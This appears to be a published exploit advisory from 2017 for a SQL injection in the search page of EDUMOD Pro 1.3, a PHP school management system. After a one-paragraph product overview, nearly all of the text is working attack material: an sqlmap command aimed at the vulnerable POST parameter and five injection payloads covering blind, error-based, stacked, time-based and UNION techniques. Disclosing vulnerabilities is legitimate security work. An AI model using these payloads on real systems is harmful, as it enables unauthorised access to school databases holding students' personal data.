EDUMOD Pro 1.3 SQL Injection

`Exploit Title: School Management System | EDUMOD Pro v1.3 a SQL Injection  
Date: 02.08.2017  
Vendor Homepage: https://codecanyon.net/item/school-management-system-edumod-pro/19764430?s_rank=288  
Exploit Author: Kaan KAMIS  
Contact: iletisim[at]k2an[dot]com  
Website: http://k2an.com  
Category: Web Application Exploits  
  
Overview  
  
EDUMOD Pro is an advanced school management software based on web. It is developed with core PHP and mysql. You can manage all your school with a simple and understandable user interface. All modules available in software is under a start menu you can click to menu and go anywhere accross modules. There are various modules available for you and for your school in EDUMOD.  
  
Vulnerable Url: http://localhost/students/search.php (POST Method)  
  
Sqlmap Example : sqlmap -u "http://localhost/students/search.php" --cookie="_gat=1; _omappvp=true; _omappvs=true; _ga=GA1.2.810440502.1501701941; _gid=GA1.2.661879708.1501701941; PHPSESSID=i7gcjsi41rbm48ejn2a1ddgfti"   
--data="Query=Test&action=Search"  
  
---  
Parameter: Query (POST)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: Query=Test%' AND 5466=5466 AND '%'='&action=Search  
  
Type: error-based  
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl  
ause (FLOOR)  
Payload: Query=Test%' AND (SELECT 7257 FROM(SELECT COUNT(*),CONCAT(0x717a7a7  
671,(SELECT (ELT(7257=7257,1))),0x7171767871,FLOOR(RAND(0)*2))x FROM INFORMATION  
_SCHEMA.PLUGINS GROUP BY x)a) AND '%'='&action=Search  
  
Type: stacked queries  
Title: MySQL > 5.0.11 stacked queries (comment)  
Payload: Query=Test%';SELECT SLEEP(5)#&action=Search  
  
Type: AND/OR time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind  
Payload: Query=Test%' AND SLEEP(5) AND '%'='&action=Search  
  
Type: UNION query  
Title: Generic UNION query (NULL) - 5 columns  
Payload: Query=Test%' UNION ALL SELECT NULL,NULL,CONCAT(0x717a7a7671,0x4d715  
07376585366416c53467453544e687853795747574a627351635357467676616366706e6355,0x71  
71767871),NULL,NULL-- SXjD&action=Search  
---  
  
`